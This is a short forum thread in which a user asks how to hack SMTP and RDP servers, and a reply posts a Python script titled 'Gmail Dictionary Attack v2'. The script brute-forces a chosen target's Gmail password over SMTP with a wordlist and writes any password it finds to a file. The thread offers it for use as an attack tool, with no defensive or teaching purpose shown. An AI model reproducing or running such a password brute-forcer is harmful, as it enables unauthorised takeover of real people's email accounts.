Forum Thread: RDP and SMTP HACKS...HELP NEEDED.

Any idea on how I can hack smtp and rdp servers with logins.thanks

3 Responses

# Program: Gmail Dictionary Attack v2
# Author: RiseX
# Purpose: Brute force smtp.gmail.com using a dictionary attack over TLS.

import smtplib
import pathlib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

user = input("Enter the target's email address: ")
passwfile = input("Enter the password file name: ")
passwfile = open(passwfile, "r")

for password in passwfile:
try:
smtpserver.login(user, password)
print("+ Password Found: %s" % password)
pathlib.Path("output.txt").write_text("%s" % password)
exit()

except smtplib.SMTPAuthenticationError:
print("! Password Incorrect: %s" % password)

Share Your Thoughts

  • Hot
  • Active